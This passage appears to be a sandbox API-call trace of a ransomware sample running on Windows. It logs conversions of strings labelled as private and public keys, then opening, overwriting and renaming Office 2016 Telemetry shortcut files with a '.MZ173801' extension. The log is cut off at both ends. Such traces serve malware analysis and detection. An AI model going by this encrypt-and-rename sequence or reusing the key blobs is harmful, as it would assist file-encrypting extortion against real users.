lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0217.106] GetCurrentThreadId () returned 0xab4 [0217.106] GetCurrentThreadId () returned 0xab4 [0217.106] GetCurrentThreadId () returned 0xab4 [0217.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0217.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0217.107] GetCurrentThreadId () returned 0xab4 [0217.107] GetCurrentThreadId () returned 0xab4 [0217.107] GetCurrentThreadId () returned 0xab4 [0217.107] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry dashboard for office 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0217.108] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0217.108] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0217.108] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x9d4 [0217.108] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0217.108] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x9d4, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x9d4, lpOverlapped=0x0) returned 1 [0217.137] CloseHandle (hObject=0x330) returned 1 [0217.137] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry dashboard for office 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0217.139] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x9d4, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x9d4, lpOverlapped=0x0) returned 1 [0217.141] CloseHandle (hObject=0x330) returned 1 [0217.141] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry dashboard for office 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry dashboard for office 2016.lnk.mz173801")) returned 1 [0217.142] GetCurrentThreadId () returned 0xab4 [0217.142] GetCurrentThreadId () returned 0xab4 [0217.142] GetCurrentThreadId () returned 0xab4 [0217.142] GetCurrentThreadId () returned 0xab4 [0217.142] GetCurrentThreadId () returned 0xab4 [0217.142] GetCurrentThreadId () returned 0xab4 [0217.142] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d4712f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d4712f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d4712f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Telemetry Log for Office 2016.lnk", cAlternateFileName="TELEME~2.LNK")) returned 1 [0217.142] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.142] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.143] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry log for office 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d4712f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d4712f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d4712f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa16)) returned 1 [0217.143] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry log for office 2016.lnk")) returned 0x20 [0217.143] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk", dwFileAttributes=0x80) returned 1 [0217.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0217.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0217.147] GetCurrentThreadId () returned 0xab4 [0217.147] GetCurrentThreadId () returned 0xab4 [0217.147] GetCurrentThreadId () returned 0xab4 [0217.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 